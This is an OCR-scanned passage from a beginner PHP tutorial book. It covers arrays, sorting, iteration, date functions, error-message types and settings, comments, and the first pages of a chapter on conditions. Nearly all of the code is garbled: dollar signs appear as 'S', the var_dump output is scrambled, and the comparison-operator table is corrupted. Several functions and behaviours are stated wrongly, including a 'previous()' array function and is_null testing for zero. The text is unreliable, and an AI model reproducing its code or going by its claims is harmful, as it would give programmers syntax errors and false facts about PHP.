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At this point, the array named $cities has been created and has only one
value: Phoenix. Next, you use the following statements:

Scities[2] "Tucson";
Scities[3] = "Flagstaff";

Now the array Scities contains three values: Phoenix, Tucson, and
Flagstaff.

An array can be viewed as a list of key/value pairs. Each key/value pair is
called an element. To get a particular value, you specify the key in the
brackets. In the preceding array, the keys are numbers — 1, 2, and 3.
However, you can also use words for keys. For instance, the following
statements create an array of state capitals:

Scapitals['CA'] = "Sacramento";
Scapitals['TX'] = "Austin";
Scapitals['OR'] "Salem";

You can use shortcuts rather than write separate assignment statements for
each number. One shortcut uses the following statements:

Scities[] = "Phoenix";
Scities[] = "Tucson";
Scities[] = "Flagstaff";

When you create an array using this shortcut, the values are automatically
assigned keys that are serial numbers, starting with the number 0. For
example, the following statement outputs Phoenix.

echo "$cities[0]";

The first value in an array with a numbered index is 0 unless you deliberately
set it to a different number. One common mistake when working with arrays
is to think of the first number as 1 rather than 0.

An even better shortcut is to use the following statement:

Scities = array( "Phoenix", "Tucson", "Flagstaff");

This statement creates the same array, with numbered keys, as the preceding
shortcut. You can use a similar statement to create arrays with words as

keys. For example, the following statement creates the array of state capitals:

Scapitals = array( "CA" => "Sacramento", "TX" => "Austin",
IIOR" => llsalemll ) ;
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Viewing arrays

You can echo an array value like this:
echo Scapitals['TX'];

If you include the array value in a longer echo statement enclosed by double
quotes, you might need to enclose the array value name in curly braces:

echo "The capital of Texas is {Scapitals['TX']}<br />";

You can see the structure and values of any array by using a print_r or a
var_dump statement. To display the Scapitals array, use one of the
following statements:

print_r(Scapitals);
var_dump (Scapitals) ;
This print_r statement provides the following output:

Array

(
[CA] => Sacramento
[TX] => Austin
[OR] => Salem

)

The var_dump statement provides the following output:

array (3)
["CA"]=
string(10) "Sacramento"
["TX"]=

string(6) "Austin"

["OR"]=

string(

}

{
>
1
>
6
>
5) "Salem"

The print_r output shows the key and the value for each element in the
array. The var_dump output shows the data type, as well as the keys and
values.

When you display the output from print_r or var_dump on a web page, it
displays with HTML, which means that it displays in one long line. To see the
output on the web in the useful format that we describe here, send HTML
tags that tell the browser to display the text as received, without changing it,
by using the following statements:
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echo "<pre>";
print_r (Scapitals) ;
echo "</pre>";

Removing values from arrays

Sometimes you need to completely remove an element from an array. For
example, suppose you have the following array with five elements:

Scities[0] = "Phoenix";
Scities[1l] = "Tucson";
Scities[2] = "Flagstaff";
Scities[3] = "Tempe";
Scities[4] = "Prescott";

Now you decide that you no longer want to include Tempe, so you use the
following statement to try to remove Tempe from the array:

Scities[3] = "";

Although this statement sets $cities[3] to an empty string, it doesn’t
remove the element from the array. You still have an array with five elements,
but one of the five values is empty. To totally remove the element from the
array, you need to unset it with the following statement:

unset ($Scities[31]);

Now your array has only four elements in it, as follows:

Scities[0] = "Phoenix";
Scities[1l] = "Tucson";
Scities[2] = "Flagstaff";
Scities[4] = "Prescott";

Sorting arrays

One of the most useful features of arrays is that PHP can sort them for you.
PHP originally stores array elements in the order in which you create them.
If you display the entire array without changing the order, the elements
will be displayed in the order in which you created them. Often, you want
to change this order. For example, you might want to display the array in
alphabetical order by value or by key.

PHP can sort arrays in a variety of ways. To sort an array that has numbers
as keys, use a sort function, as follows:

sort(Scities);
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This statement sorts by the values and assigns new keys that are the
appropriate numbers. The values are sorted with numbers first, uppercase
letters next, and lowercase letters last. For instance, consider the Scities
array created in the preceding section:

Scities[0] = "Phoenix";
Scities[1l] = "Tucson";
Scities[2] = "Flagstaff";

After the following sort statement
sort ($cities);

the array becomes

Scities[0] = "Flagstaff";
Scities[1l] = "Phoenix";
Scities[2] = "Tucson";

If you use sort () to sort an array with words as keys, the keys will be
changed to numbers, and the word keys will be thrown away.

To sort arrays that have words for keys, use the asort function. This
statement sorts the capitals by value and keeps the original key for each
value. For instance, consider the state capitals array created in the preceding
section:

Scapitals['CA'] = "Sacramento";
Scapitals['TX'] = "Austin";
Scapitals['OR'] = "Salem";

After the following asort statement
asort (Scapitals) ;

the array becomes

Scapitals['TX'] = "Austin";
Scapitals['CA'] = "Sacramento";
Scapitals['OR'] = "Salem";

Notice that the keys stayed with the value when the elements were reordered.
Now the elements are in alphabetical order, and the correct state key is

still with the appropriate state capital. If the keys had been numbers, the
numbers would now be in a different order. It’s unlikely that you want to use
asort on an array with numbers as a key.

Several other sort statements sort in other ways. Table 1-5 lists all the
available sort statements.
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Table 1-5 Ways You Can Sort Arrays

Sort Statement What It Does

sort ($arrayname) Sorts by value; assigns new numbers as
the keys.

asort (Sarrayname) Sorts by value; keeps the same key.

rsort (Sarrayname) Sorts by value in reverse order; assigns
new numbers as the keys.

arsort ($arrayname) Sorts by value in reverse order; keeps the
same key.

ksort ($arrayname) Sorts by key.

krsort ($arrayname) Sorts by key in reverse order.

usort ($arrayname, Sorts by a function. (See the next chapter.)

functionname)

Getting values from arrays

You can retrieve any individual value in an array by accessing it directly, as
follows:

SCAcapital = Scapitals['CA'];
echo S$CAcapital ;

The output from these statements is

Sacramento

If you use an array element that doesn’t exist, a notice is displayed. (Read
about notices in the section “Understanding PHP Error Messages,” later in
this chapter.) For example, suppose that you use the following statement:

SCAcapital = S$Scapitals['CAx'];

If the array $capitals exists but no element has the key CAx, you see the
following notice:

Notice: Undefined index: CAx in d:\testarray.php on line 9

A notice doesn’t cause the script to stop. Statements after the notice continue
to execute. But because no value has been put into $CAcapital, any
subsequent echo statements will echo a blank space. You can prevent the

notice from being displayed by using the @ symbol:

@$CAcapital = S$Scapitals['CAx'];
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You can get several values at once from an array using the 1ist statement
or all the values from an array by using the extract statement.

The 1ist function gets values from an array and puts them into variables.
The following statements include a 1ist statement:

$flowerInfo = array ("Rose", "red", 12.00);
list($Sfirstvalue, $secondvalue) = S$SflowerInfo;
echo $firstvalue, "<br />";

echo S$secondvalue, "<br />";

The first line creates the $flowerInfo array. The third line sets up two
variables named $firstvalue and $secondvalue and copies the first two
values in $flowerInfo into the two new variables, as if you had used the
two statements

Sfirstvalue=SflowerInfo[0];
$secondvalue=$flowerInfo[l];

The third value in $flowerInfo isn’t copied into a variable because the
1ist statement includes only two variables. The output from the echo
statements is

Rose
red

You can retrieve all the values from an array with words as keys by using
extract. Each value is copied into a variable named for the key. For
instance, suppose the $flowerinfo array is created as follows:

SflowerInfo = array ("variety"=>"Rose", "color"=>"red",
"cost"=>12.00) ;

The following statements get all the information from $flowerInfo and
echo it:

extract ($flowerInfo) ;
echo "variety is S$variety; color is S$Scolor; cost is S$Scost";

The output for these statements is

variety is Rose; color is red; cost is 12.00;

Walking through an array

You will often want to do something to every value in an array. You might
want to echo each value, store each value in the database, or add 6 to each
value in the array. In technical talk, walking through each and every value in
an array, in order, is iteration. It’s also sometimes called traversing. Here are
two ways to walk through an array:
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4+ Manually: Move a pointer from one array value to another.

4+ Using foreach: Automatically walk through the array, from beginning
to end, one value at a time.

Manually walking through an array

You can walk through an array manually by using a pointer. To do this, think
of your array as a list. Imagine a pointer pointing to a value in the list. The
pointer stays on a value until you move it. After you move it, it stays there
until you move it again. You can move the pointer with the following
instructions:

4 current ($arrayname): Refers to the value currently under the
pointer; doesn’t move the pointer.

4+ next (Sarrayname): Moves the pointer to the value after the current
value.

4 previous (Sarrayname): Moves the pointer to the value before the
current pointer location.

4 end ($Sarrayname): Moves the pointer to the last value in the array.

4 reset (Sarrayname): Moves the pointer to the first value in the array.

The following statements manually walk through an array containing state
capitals:

Svalue = current (Scapitals);
echo "S$Svalue<br />";

$value = next ($Scapitals);
echo "Svalue<br />";

$value = next ($capitals);
echo "S$Svalue<br />";

Unless you’'ve moved the pointer previously, it’s located at the first element
when you start walking through the array. If you think that the array pointer
might have been moved earlier in the script or if your output from the array
seems to start somewhere in the middle, use the reset statement before
you start walking, as follows:

reset ($capitals) ;

When using this method to walk through an array, you need an assignment
statement and an echo statement for every value in the array — for each of
the 50 states. The output is a list of all the state capitals.

This method gives you flexibility. You can move through the array in any
manner — not just one value at a time. You can move backwards, go directly
to the end, skip every other value by using two next statements in a row,

or whatever method is useful. However, if you want to go through the array
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from beginning to end, one value at a time, PHP provides foreach, which
does exactly what you need much more efficiently. foreach is described in
the next section.

Using foreach to walk through an array

The foreach statement walks through the array one value at a time. The
current key and value of the array can be used in the block of statements
each time the block executes. The general format is

foreach( Sarrayname as Skeyname => Svaluename )
{

block of statements;

}
Fill in the following information:

4+ arrayname: The name of the array that you're walking through.

4 keyname: The name of the variable where you want to store the key.
keyname is optional. If you leave out $ keyname =>, only the value is
put into a variable that can be used in the block of statements.

4 valuename: The name of the variable where you want to store the
value.

For instance, the following foreach statement walks through the sample
array of state capitals and echoes a list:

Scapitals = array("CA" => "Sacramento", "TX" => "Austin",
"OR" => "Salem" )’.
ksort (Scapitals) ;
foreach( S$Scapitals as S$state => S$Scity )
{
echo "Scity, S$state<br />";
}

The preceding statements give the following web page output:
Sacramento, CA
Salem, OR

Austin, TX

You can use the following line in place of the foreach line in the previous
statements:

foreach( S$Scapitals as Scity )

When using this foreach statement, only the city is available for output.
You would then use the following echo statement:

echo "Scity<br />";
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The output with these changes is

Sacramento
Salem
Austin

When foreach starts walking through an array, it moves the pointer to
the beginning of the array. You don’t need to reset an array before walking
through it with foreach.

Storing values with multidimensional arrays

In the earlier sections of this chapter, we describe arrays that are a single
list of key/value pairs. However, on some occasions, you might want to store
values with more than one key. For instance, suppose you want to store
cities by state and county, as follows:

Scities['AZ'] ['Maricopa'] = Phoenix;
Scities['AZ']['Cochise'] = Tombstone;
Scities['AZ']['Yuma'] = Yuma;
Scities['OR']['Multnomah'] = Portland;
Scities['OR']['Tillamook'] = Tillamook;
Scities['OR']['Wallowa'] = Joseph;

This kind of array is a multidimensional array because it’s like an array of
arrays with the following structure:

Scities key value
key value

AZ Maricopa Phoenix
Cochise Tombstone
Yuma Yuma

OR Multnomah Portland
Tillamook Tillamook
Wallowa Joseph

$cities is a two-dimensional array.

PHP can also understand multidimensional arrays that are four, five, six, or
more levels deep. However, people tend to get headaches when they try to
comprehend an array that’s more than three levels deep. The possibility of
confusion increases when the number of dimensions increases. Try to keep
your multidimensional arrays manageable.

You can get values from a multidimensional array by using the same
procedures that you use with a one-dimensional array. For instance, you can
access a value directly with this statement:

Scity = Scities['AZ']['Yuma'l];
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You can also echo the value:
echo S$Scities['OR']['Wallowa'];

However, if you combine the value within double quotes, you need to use
curly braces to enclose the variable name. The $ that begins the variable
name must follow the { immediately, without a space, as follows:

echo "A city in Multnomah County, Oregon, is {S$cities['OR']['Multnomah']}";
The output is
A city in Multnomah County, Oregon, is Portland

You can walk through a multidimensional array by using foreach statements
(described in the preceding section). You need a foreach statement for
each array. One foreach statement is inside the other foreach statement.
Putting statements inside other statements is called nesting.

Because a two-dimensional array, such as $cities, contains two arrays, it
takes two foreach statements to walk through it. The following statements
get the values from the multidimensional array and output them in an HTML
table:

foreach( Scities as S$state )
{
foreach( Sstate as Scounty => S$Scity )
{
echo "Scity, S$Scounty county <br />";
}
}

The first foreach statement walks through the $cities multidimensional
array and stores an array with the key/value pair of county/city in the
variable $state. The second foreach statement walks through the array
stored in $state. These statements give you the following output:

Phoenix, Maricopa county
Tombstone, Cochise county
Yuma, Yuma county

Portland, Multnomah county
Tillamook, Tillamook county
Joseph, Wallowa county
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Using Dates and Times

Dates and times can be important elements in a web database application.
PHP has the capability to recognize dates and times and handle them
differently than plain character strings. Dates and times are stored by the
computer in a format called a timestamp. However, this isn’t a format in
which you would want to see the date. PHP converts dates from your
notation into a timestamp that the computer understands and from a
timestamp into a format familiar to people. PHP handles dates and times
with built-in functions.

The timestamp format is a Unix Timestamp, which is an integer that is the
number of seconds from January 1, 1970, 00:00:00 GMT (Greenwich Mean
Time) to the time represented by the timestamp. This format makes it easy
to calculate the time between two dates — just subtract one timestamp from
the other.

Setting local time

With the release of PHP 5.1, PHP added a setting for a default local time zone
tophp. ini. If you don'’t set a default time zone, PHP will guess, which
sometimes results in GMT. In addition, PHP displays a message advising you
to set your local time zone.

To set a default time zone, follow these steps:

Open php.ini in a text editor.

Scroll down to the section headed [Date].

1.

2.

3. Find the setting date.timezone =.

4. If the line begins with a semicolon (;), remove the semicolon.
5.

Add a time zone code after the equal sign.
You can see a list of time zone codes in Appendix H of the PHP online
manual at www . php .net/manual/en/timezones.php. For example, you
can set your default time zone to Pacific time with the setting:

date.timezone = America/Los_Angeles

If you don’t have access to the php. ini file, you can set a default time zone
in each script that applies to that script only, as follows:

date_default_timezone_set ("timezonecode") ;
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You can see which time zone is currently your default time zone by using
this statement:

sdef = date_default_timezone_get ()
echo sdef;

Formatting a date

The function that you will use most often is date, which converts a date or
time from the timestamp format into a format that you specify. The general
format is

Smydate = date (" format",$Stimestamp) ;

$ timestamp is a variable with a timestamp stored in it. This code assumes
that you previously stored the timestamp in the variable, which you might
do using a PHP function (as we’ll describe later in this section). If $ timestamp
isn’t included, the current time is obtained from the operating system and
used. Thus, you can get today’s date with the following:

Stoday = date("Y/m/d");
If today is August 10, 2013, this statements returns

2013/08/10

The format is a string that specifies the date format that you want stored

in the variable. For instance, the format "y-m-d" returns 13-08-10, and
"M.d.Y" returns Aug.10.2013. Table 1-6 lists some of the symbols that

you can use in the format string. (For a complete list of symbols, see the
documentation at www.php .net/manual/en/function.date.php.) The
parts of the date can be separated by a hyphen (-), a dot (.), a forward
slash (/), or a space.

Table 1-6 Date Format Symbols

Symbol Meaning Example

F Month in text, not abbreviated January

M Month in text, abbreviated Jan

m Month in numbers with leading zeros 02,12

n Month in numbers without leading zeros 1,12

el Day of the month; two digits with leading 01,14
zeros

3 Day of the month without leading zeros 3,30
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Symbol Meaning Example

1 Day of the week in text, not abbreviated Friday

D Day of the week in text, abbreviated Fri

w Day of the week in numbers From 0 (Sunday) to
6 (Saturday)

Y Year in four digits 2014

vy Year in two digits 02

g Hour between 0 and 12 without leading zeros 2,10

G Hour between 0 and 24 without leading zeros 2,15

h Hour between 0 and 12 with leading zeros 01,10

H Hour between 0 and 24 with leading zeros 00, 23

i Minutes 00, 59

s Seconds 00, 59

a am or pmin lowercase am, pm

A AM or PMin uppercase AM, PM

Storing a timestamp in a variable

You can assign a timestamp with the current date and time to a variable with
the following statement:

Stoday

time () ;

Another way to store a current timestamp is with the statement

Stoday =

strtotime ("today") ;

You can store specific timestamps by using strtotime with various keywords
and abbreviations that are similar to English. For instance, you can create a
timestamp for January 15, 2014, as follows:

SimportantDate = strtotime("January 15 2014");

The strtotime statement recognizes the following words and abbreviations:

4 Month names: Twelve month names and abbreviations

4+ Days of the week: Seven days and some abbreviations

4 Time units: year, month, fortnight, week, day, hour, minute,
second, am, pm

4+ Some useful English words: ago, now, last, next, this, tomorrow,
yvesterday
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4 Plus and minus: + or -

4+ All numbers

4+ Time zones: For example, gmt (Greenwich Mean Time), pdt (Pacific
Daylight Time), and akst (Alaska Standard Time)

You can combine the words and abbreviations in a wide variety of ways. The
following statements are all valid:

SimportantDate = strtotime("tomorrow"); #24 hours from now
SimportantDate = strtotime("now + 24 hours");
SimportantDate = strtotime("last saturday");
SimportantDate = strtotime("8pm + 3 days");

SimportantDate = strtotime ("2 weeks ago"); # current time
SimportantDate = strtotime("next year gmt");
SimportantDate = strtotime("this 4am"); # 4 AM today

If you wanted to know how long ago $importantDate was, you could
subtract it from $today. For instance:

StimeSpan = Stoday - S$importantDate;

This gives you the number of seconds between the important date and
today. Or use the statement

StimeSpan =((Stoday - S$importantDate)/60)/60

to find out the number of hours since the important date.

Understanding PHP Error Messages

PHP tries to be helpful when problems arise. It provides different types of
error messages and warnings with as much information as possible. Here
we tell you about those different types of error messages and give you some
tips for dealing with them. We also tell you how to display or turn off error
messages, and how to store error messages in a log file.

Types of PHP error messages

PHP can display five types of messages. Each type of message displays the
name of the file where the error was encountered and the line number where
PHP encountered the problem. Different error types provide additional
information in the error message. The types of messages are
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4+ Parse error: A parse error is a syntax error that PHP finds when it scans
the script before executing it.

4+ Fatal error: PHP has encountered a serious error that stops the
execution of the script.

4+ Warning: PHP sees a problem, but the problem isn’t serious enough to
prevent the script from running.

4+ Notice: PHP sees a condition that might be an error or might be
perfectly okay.

4 Strict: Strict messages, added in PHP 5, warn about coding standards.
You get strict messages when you use language that is poor coding
practice or has been replaced by better code.

We recommend writing your PHP scripts with an editor that uses line
numbers. If your editor doesn’t let you specify which line you want to go to,
you have to count the lines manually from the top of the file every time that
you receive an error message. You can find information about many editors,
including descriptions and reviews, at www.php-editors.com.

Understanding parse errors

Before starting to run a script, PHP scans the script for syntax errors. When
it encounters an error, it displays a parse error message. A parse error is

a fatal error, preventing the script from even starting to run. A parse error
looks similar to the following:

Parse error: parse error, error, in c:\test.php on line 6

Often, you receive this error message because you've forgotten a semicolon,
a parenthesis, or a curly brace. The error displayed provides as much
information as possible. For instance, the following might be displayed:

Parse error: parse error, unexpected T_ECHO, expecting ',' or
';', in c:\test.php on line 6

This error means that PHP found an echo statement where it was expecting
a comma or a semicolon, which probably means you forgot the semicolon at
the end of the preceding line.

T_ECHO is a token. Tokens represent various parts of the PHP language.
Some, like T_ECHO or T_IF, are fairly clear. Others are more obscure. See
the appendix of tokens in the PHP online manual (www.php .net/manual/
en/tokens.php) for a list of parser tokens with their meanings.
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Understanding fatal errors

A fatal error message is displayed when PHP encounters a serious error
during the execution of the script that prevents the script from continuing
to execute. The script stops running and displays a message that contains as
much information as possible to help you identify the problem.

One problem that produces a fatal error message is calling a function that
doesn’t exist. (Functions are explained in Chapter 2 in this minibook.) If you
misspell a function name in your PHP script, you see a fatal error message
similar to the following:

Fatal error: Call to undefined function xxx() in C:\Program
Files\Apache Group\Apache2\htdocs\PHPandMySQL\info.php on
line 10

In this case, PHP can’t find a function named xxx that you call on line 10.

We use the term fatal error to differentiate these types of errors from other
errors. However, PHP just calls them (confusingly) errors. You won’t find
the term fatal error in the manual. Also, the keyword needed to display
these types of errors is E_ERROR. (We cover this later in the chapter in the
“Displaying selected messages” section.)

Understanding warnings

A warning message displays when the script encounters a problem but the
problem isn’t serious enough to prevent the script from running. Warning
messages don’t mean that the script can’t run; the script does continue to
run. Rather, warning messages tell you that PHP believes that something
is probably wrong. You should identify the source of the warning and then
decide whether it needs to be fixed. It usually does.

If you attempt to connect to a MySQL database with an invalid username or
password, you see the following warning message:

Warning: mysqgl_connect() [function.mysgl-connect]: Access
denied for user 'root'@'localhost' (using password: YES)
in C:\Program Files\Apache Group\Apache2\htdocs\test.php
on line 9

The attempt to connect to the database failed, but the script doesn’t stop
running. It continues to execute additional PHP statements in the script.
However, because the later statement probably depends on the database
connection being established, the later statements won’t execute correctly.
This statement needs to be corrected. Most statements that produce
warning messages need to be fixed.
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Understanding notices

A notice is displayed when PHP sees a condition that might be an error or
might be perfectly okay. Notices, like warnings, don’t cause the script to
stop running. Notices are much less likely than warnings to indicate serious
problems. Notices just tell you that you’'re doing something unusual and to
take a second look at what you're doing to be sure that you really want to do it.

One common reason why you might receive a notice is that you’re echoing
variables that don’t exist. Here’s an example of what you might see in that
instance:

Notice:Undefined variable: age in testing.php on line 9

Understanding strict messages

Strict messages warn about coding standards. They point out language
that’s poor coding practice or has been replaced by better code. The strict
error type was added in PHP 5. Strict messages don’t stop the execution of
the script. However, changing your code so that you don’t see any strict
messages makes the script more reliable for the future. Some of the language
highlighted by strict messages might be removed entirely in the future.

Some of the strict messages refer to PHP language features that have been
deprecated. Deprecated functions are old functions that have been replaced
by newer functions. The deprecated functions are still supported, but will be
removed in the future. PHP might add a separate error type E_DEPRECATED
to identify these types of errors so that both E_STRICT and E_DEPRECATED
messages will identify different types of problems.

Displaying error messages
You can handle error messages in any of the following ways:
4+ Display some or all error messages on your web pages.
4+ Don'’t display any error messages.
4+ Suppress a single error message.
You can tell PHP whether to display error messages or which error mes-
sages to display with settings in the php . ini file or with PHP statements

in your scripts. Settings in php. ini set error handling for all your scripts.
Statements in a script set error handling for that script only.

Turning off error messages
Error messages are displayed on your web pages by default.
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Displaying error messages on your web pages is a security risk.

You can have error messages turned on when you'’re developing your
website, so you can fix the errors, but when your web pages are finished and
ready for the public to view, you should shut off the error messages.

You can turn off all error messages for all scripts in your website in the php.
ini file. Find the following setting:

display_errors = On

Change On to Of £.

You can turn off errors in an individual script with the following statements:
ini_set("display_errors", "off");

Changing the setting doesn’t change the error in any way; it changes only
whether the error message is displayed. A fatal error still stops the script; it
just doesn’t display a message on the web page.

One way to handle error messages is to turn them off in php . ini and turn
them on in each individual script during development. Then, when the

website is ready for public viewing, you can remove the ini_set statements
that turn on the error messages.

Displaying selected messages

You can specify which type of error messages you want to display with the
following setting in php . ini:

error_reporting =

You use one of several codes to tell PHP which messages to display. Some
possible settings are

error_reporting = E_ALL | E_STRICT

error_reporting = 0

error_reporting = E_ALL & ~ E_NOTICE

The first setting displays E_ALL, which is all errors, warnings, and notices
except stricts; and E_STRICT, which displays strict messages. The second
setting displays no error messages. The third setting displays all error

messages except stricts and notices, because the & ~ means “and not.”

Other codes that you can use are E_WARNING, which means all warnings,
and E_ERROR, which means all fatal runtime errors.
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You can also set the type of message to display for an individual script. You
can add a statement to a script that sets the error reporting level for that
script only. Add the following statement at the beginning of the script:

error_reporting (errorSetting) ;
For example, to see all errors except stricts, use the following:

error_reporting (E_ALL) ;

Suppressing a single error message

You can stop the display of a single error message in a PHP statement. In
general, this isn’t a good idea. You want to see your error messages and fix
the problems. However, occasionally, suppressing a single notice is the
simplest method to prevent an unsightly message from displaying on the
web page.

You can stop the display of an error message by placing an at sign (@) where
you expect the error message to be generated. For example, the @ in the
following statement suppresses an error message:

echo @Snewsl;

If the variable $news1 hasn’t been set previously, this statement would
produce the following notice:

Notice: Undefined variable: newsl in C:\Program Files\Apache
Group\Apache2\htdocs\PHPandMySQL\info.php on line 10

However, the @ in front of the variable name keeps the notice from being
displayed. This feature should be used rarely, but it can be useful in a few
situations.

Logging error messages

You can store error messages in a log file. This produces a permanent
record of the errors, whether or not they displayed on the web page.
Logging messages requires two settings:

4 log_errors: Set this to On or Of f to send errors to a log file.

4+ error_log: Specify the filename where errors are to be logged.

Logging errors

You can tell PHP to log errors with a setting in php . ini. Find the following
setting:

log_errors = Off
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Change the setting to On. After you save the changed php . ini file and
restart your web server, PHP logs errors to a text file. You can tell PHP
where to send the errors with the error_1log setting described in the next
section. If you don’t specify a file with the error_1og settings, the error
messages are written to the Apache error log, located in the 1ogs subdirectory
in the directory where Apache is installed. The error log has the . err file
extension.

You can log errors for an individual script by including the following
statement at the beginning of the script:

ini_set("log_errors","On") ;

This statement sets error logging for this script only.

Specifying the log file

You specify the file where PHP logs error messages with a setting in php.
ini. Find the setting:

;error_log = filename

Remove the semicolon from the beginning of the line. Replace filename
with the path and filename of the file where you want PHP to log error
messages, such as:

error_log = "c:\php\logs\errs.log"

The file you specify doesn’t need to exist. If it doesn’t exist, PHP will create it.
After you save the edited php . ini file and restart your web server, error
messages are logged in the specified file. Each error message is logged on a

separate line, with the date and time at the beginning of the line.

You can specify a log file for an individual script by including the following
statement at the beginning of the script:

ini_set("error_log"," c:\php\logs\errs.log ");

This statement sets the log file for this script only.

Adding Comments to Your PHP Script

Comments are notes embedded in the script itself. Adding comments in
your scripts that describe their purpose and what they do is essential. It’s
important for the lottery factor — that is, if you win the lottery and run off
to a life of luxury on the French Riviera, someone else will have to finish the
application. Your successor needs to know what your script is supposed
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to do and how it does its job. Actually, comments benefit you as well. You
might need to revise the script next year when the details are long buried in
your mind under thoughts of more recent projects.

Use comments liberally. PHP ignores comments; comments are for humans.
You can embed comments in your script anywhere as long as you tell PHP
that they are comments. The format for comments is

/* comment text
more comment text */

Your comments can be as long or as short as you need. When PHP sees code
that indicates the start of a comment (/ *), it ignores everything until it sees
the code that indicates the end of a comment (* /).

One possible format for comments at the start of each script is as follows:

/* name: catalog.php

* description: Script that displays descriptions of

* products. The descriptions are stored

* in a database. The product descriptions

* are selected from the database based on

* the category the user entered into a form.
* written by: Lola Designer

* created: 2/1/13

* modified: 3/15/13

*/

You should use comments throughout the script to describe what the script
does. Comments are particularly important when the script statements are
complicated. Use comments such as the following frequently:

/* Get the information from the database */

/* Check whether the customer is over 18 years old */

/* Add shipping charges to the order total */

PHP also has a short comment format. You can specify that a single line is a
comment by using the pound sign (#) or two forward slashes (//) in the
following manner:

# This is comment line 1

// This is comment line 2

All text from the # or // to the end of the line is a comment. You can also
use # or // in the middle of a line to signal the beginning of a comment. PHP

will ignore everything from the # or // to the end of the line. This is useful
for commenting a particular statement, as in the following example:
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Saverage = SorderTotal/$nltems; // compute average price

Sometimes you want to emphasize a comment. The following format makes a
comment very noticeable:

HASH ARG H AR S H AR SR AR SR AR R AR AR HH
## Double-Check This Section ##
HHSHAHSH A H AR SR AR SR AR R AR H AR RS R HHH

PHP comments aren’t included in the HTML code that is sent to the user’s
browser. The user does not see these comments.

Use comments as often as necessary in the script to make it clear. However,
using too many comments is a mistake. Don’t comment every line or
everything you do in the script. If your script is too full of comments, the
important comments can get lost in the maze. Use comments to label
sections and explain unusual or complicated code — not obvious code.



Chapter 2: Building PHP Scripts

In This Chapter

v~ Setting up conditions in your code

1~ Using conditional statements
v Building and using loops for repeated statements
v~ Using functions

+ Keeping your code clean and organized

p—lP scripts are a series of instructions in a file named with an extension
that tells the web server to look for PHP sections in the file. (The exten-
sion is usually .php or .phtml, but it can be anything that the web server
is configured to expect.) PHP begins at the top of the file and executes each
instruction, in order, as it comes to it.

Instructions, called statements, can be simple or complex. Chapter 1 in this
minibook discusses what we term “simple” statements, such as the echo
statement. For example, the Hello World script in Chapter 1 in this minibook
is a simple script containing only simple statements. However, the scripts
that make up a web database application aren’t that simple. They are
dynamic and interact with both the user and the database. Consequently,
the scripts require more complex statements.

Complex statements execute one or more blocks of statements. A block
of statements consists of a group of simple statements enclosed by curly
braces ({ and }). PHP looks for the ending curly brace of the last block in
complex statements.

The following complex statements are described in this chapter:

4+ Conditional statements: Statements that execute only when certain
conditions are met. The PHP conditional statements are i f and switch
statements.

4+ Loops: Statements that repeatedly execute a block of statements. Four
types of loops are foreach, for,while, and do. .while loops.

4+ Functions: Statements that can be reused many times. Many tasks are
performed in more than one part of the application. PHP allows you to
reuse statement blocks by creating a function.



320 Setting Up Conditions

Conditional statements and loops execute a block of statements based on
a condition. That is, if a condition is true, the block of statements executes.
Thus, to use conditional statements and loops, you need to set up conditions.

In this chapter, you find out how to use complex statements and how to
organize them into a PHP script.

Setting Up Conditions

Conditions are expressions that PHP tests or evaluates to see whether they
are true or false. Conditions are used in complex statements to determine
whether a block of simple statements should be executed. To set up condi-
tions, you compare values. Here are some questions you can ask to compare
values for conditions:

4 Are two values equal? Is Sally’s last name the same as Bobby’s last
name? Or, is Nick 15 years old? (Does Nick’s age equal 157?)

4 Is one value larger or smaller than another? Is Nick younger than
Bobby? Or, did Sally’s house cost more than a million dollars?

4+ Does a string match a pattern? Does Bobby’s name begin with an S?
Does the ZIP code have five numeric characters?

You can also set up conditions in which you ask two or more questions. For
example, you may ask: Is Nick older than Bobby and is Nick younger than
Sally? Or you may ask: Is today Sunday and is today sunny? Or you may ask:
Is today Sunday or is today Monday?

Comparing values

You can compare numbers or strings to see whether they are equal, whether
one is larger than the other, or whether they are not equal. You compare
values with comparison operators. PHP evaluates the comparison and returns
true or false. For example, the following is a simple comparison:

Sresult = $a == Sb;

The comparison operator == checks whether two values are equal. If $Sa and
$b are equal, Sresult is assigned the Boolean value true. If $a and $b are
not equal, Sresult is assigned false. Thus, $a == $bis a simple condition
that is either true or false.

PHP offers several comparison operators that you can use to compare
values. Table 2-1 shows these comparison operators.
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Table 2-1 Comparison Operators

Operator What It Means

= Are the two values equal in value?

== Are the two values equal in both value and data type?

> Is the first value larger than the second value?

>= Is the first value larger than or equal to the second value?
< Is the first value smaller than the second value?

<= Is the first value smaller than or equal to the second value?

1=, <> Are the two values not equal to each other in value?

l== Are the two values not equal to each other in either value or data
type?

You can compare both numbers and strings. Strings are compared alpha-
betically, with all uppercase characters coming before any lowercase char-
acters. For example, SS comes before Sa. Punctuation characters also have
an order, and one character can be found to be larger than another character.
However, comparing a comma to a period doesn’t have much practical value.

Strings are compared based on their ASCII code. In the ASCII character set,
each character is assigned an ASCII code that corresponds to a number
between 0 and 127. When strings are compared, they are compared based
on this code. For example, the number that represents the comma is 44. The
period corresponds to 46. Therefore, if a period and a comma are compared,
the period is evaluated as larger.

The following are some valid comparisons that PHP can test to determine
whether they’re true:

4+ $a == %$b

4 Sage != 21

4 $ageNick < $ageBobby

4 sShouse_price >= 1000000
The comparison operator that asks whether two values are equal consists
of two equal signs (==). One of the most common mistakes is to use a single
equal sign for a comparison. A single equal sign puts the value into the vari-
able. Thus, a statement like if ($weather = "raining") would set

$weather to raining rather than check whether it already equaled raining,
and would always be true.
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If you write a negative (by using !), the negative condition is true. Look at
the following comparison:

Sage != 21

The condition being tested is that $age does not equal 21. Therefore, if
Sage equals 20, the comparison is true.

Checking variable content

Sometimes you just need to know whether a variable exists or what type of
data is in the variable. Here are some common ways to test variables:

isset ($Svarname) # True if variable is set, even if
nothing is stored in it.
empty ($Svarname) # True if value is 0 or is a string with

no characters in it or is not set.

You can also test what type of data is in the variable. For example, to see
whether the value is an integer, you can use the following:

is_int ($Snumber)

The comparison is true if the value in $number is an integer. Some other
tests provided by PHP are as follows:
4 is_array($var2): Checks to see whether $var2 is an array.

4+ is_float ($number): Checks to see whether Snumber is a floating
point number.

4 is_null ($varl): Checks to see whether $varl is equal to 0.

4 is_numeric($string): Checks to see whether $string is a numeric
string.

4+ is_string($string): Checks to see whether $string is a string.
You can test for a negative condition, as well, by using an exclamation point
(1) in front of the expression. This is really a logical NOT condition, as in “If
this condition is NOT true, do something.” For example, the following state-
ment returns true if the variable doesn’t exist at all:

lisset ($varname)

You could think of that in plain language as “If $varname is not set....”
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Pattern matching with regular expressions

